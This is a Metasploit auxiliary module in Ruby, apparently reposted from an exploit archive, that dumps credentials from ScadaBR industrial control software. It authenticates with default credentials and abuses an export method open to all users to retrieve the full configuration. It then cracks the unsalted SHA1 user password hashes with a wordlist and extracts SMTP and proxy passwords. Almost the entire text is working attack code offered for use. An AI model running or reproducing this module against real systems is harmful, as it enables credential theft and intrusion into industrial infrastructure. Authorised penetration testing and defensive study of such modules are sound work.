Share
## https://sploitus.com/exploit?id=PACKETSTORM:180828
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ScadaBR Credentials Dumper',  
'Description' => %q{  
This module retrieves credentials from ScadaBR, including  
service credentials and unsalted SHA1 password hashes for  
all users, by invoking the `EmportDwr.createExportData` DWR  
method of Mango M2M which is exposed to all authenticated  
users regardless of privilege level.  
  
This module has been tested successfully with ScadaBR  
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.  
},  
'Author' => 'bcoles',  
'License' => MSF_LICENSE,  
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],  
'DisclosureDate' => '2017-05-28'  
)  
)  
register_options([  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),  
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),  
OptPath.new('PASS_FILE', [  
false, 'Wordlist file to crack password hashes',  
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt')  
])  
])  
end  
  
def login(user, pass)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login.htm'),  
'method' => 'POST',  
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",  
'vars_post' => {  
'username' => Rex::Text.uri_encode(user, 'hex-normal'),  
'password' => Rex::Text.uri_encode(pass, 'hex-normal')  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} Connection failed")  
end  
  
if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/  
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first  
print_good("#{peer} Authenticated successfully as '#{user}'")  
else  
fail_with(Failure::NoAccess, "#{peer} Authentication failed")  
end  
end  
  
def export_data  
params = [  
'callCount=1',  
"page=#{target_uri.path}/emport.shtm",  
"httpSessionId=#{@cookie}",  
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",  
'c0-scriptName=EmportDwr',  
'c0-methodName=createExportData',  
'c0-id=0',  
'c0-param0=string:3',  
'c0-param1=boolean:true',  
'c0-param2=boolean:true',  
'c0-param3=boolean:true',  
'c0-param4=boolean:true',  
'c0-param5=boolean:true',  
'c0-param6=boolean:true',  
'c0-param7=boolean:true',  
'c0-param8=boolean:true',  
'c0-param9=boolean:true',  
'c0-param10=boolean:true',  
'c0-param11=boolean:true',  
'c0-param12=boolean:true',  
'c0-param13=boolean:true',  
'c0-param14=boolean:true',  
'c0-param15=boolean:true',  
'c0-param16=string:100',  
'c0-param17=boolean:true',  
'batchId=1'  
]  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'),  
'method' => 'POST',  
'cookie' => "JSESSIONID=#{@cookie}",  
'ctype' => 'text/plain',  
'data' => params.join("\n")  
})  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} Connection failed")  
end  
  
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first  
  
unless config_data  
fail_with(Failure::UnexpectedReply, "#{peer} Export failed")  
end  
  
print_good("#{peer} Export successful (#{config_data.length} bytes)")  
  
config_data  
end  
  
def load_wordlist(wordlist)  
return unless File.exist?(wordlist)  
  
File.open(wordlist, 'rb').each_line do |line|  
@wordlist << line.chomp  
end  
end  
  
def crack(user, hash)  
return user if hash == Rex::Text.sha1(user)  
  
@wordlist.each do |word|  
return word if hash == Rex::Text.sha1(word)  
end  
  
nil  
end  
  
def run  
login(datastore['USERNAME'], datastore['PASSWORD'])  
  
config = export_data  
  
path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings')  
print_good("Config saved in: #{path}")  
  
begin  
json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, ''))  
rescue StandardError  
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")  
end  
  
service_data = {  
address: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
user_cred_table = Rex::Text::Table.new(  
'Header' => 'ScadaBR User Credentials',  
'Indent' => 1,  
'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail']  
)  
  
users = json['users']  
  
if users.empty?  
print_error('Found no user data')  
else  
print_good("Found #{users.length} users")  
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'  
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']])  
load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil?  
end  
  
users.each do |user|  
username = user['username']  
  
next if username.blank?  
  
admin = user['admin']  
mail = user['email']  
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first  
pass = crack(username, hash)  
user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail]  
  
creds = {  
origin_type: :service,  
module_fullname: fullname,  
username: username  
}.merge(service_data)  
  
if pass  
print_status("Found weak credentials (#{username}:#{pass})")  
creds.merge!({  
private_type: :password,  
private_data: pass  
})  
else  
creds.merge!({  
private_type: :nonreplayable_hash,  
private_data: "{SHA}#{user['password']}"  
})  
end  
  
login_data = {  
core: create_credential(creds),  
access_level: (admin ? 'Admin' : 'User'),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
service_cred_table = Rex::Text::Table.new(  
'Header' => 'ScadaBR Service Credentials',  
'Indent' => 1,  
'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password']  
)  
  
print_line  
print_line(user_cred_table.to_s)  
  
unless json['systemSettings'].nil?  
system_settings = json['systemSettings'].first  
  
unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == ''  
smtp_host = system_settings['emailSmtpHost']  
smtp_port = system_settings['emailSmtpPort']  
smtp_user = system_settings['emailSmtpUsername']  
smtp_pass = system_settings['emailSmtpPassword']  
print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}")  
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]  
end  
  
unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == ''  
proxy_host = system_settings['httpClientProxyServer']  
proxy_port = system_settings['httpClientProxyPort']  
proxy_user = system_settings['httpClientProxyUsername']  
proxy_pass = system_settings['httpClientProxyPassword']  
print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}")  
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]  
end  
  
print_line  
print_line(service_cred_table.to_s)  
end  
end  
end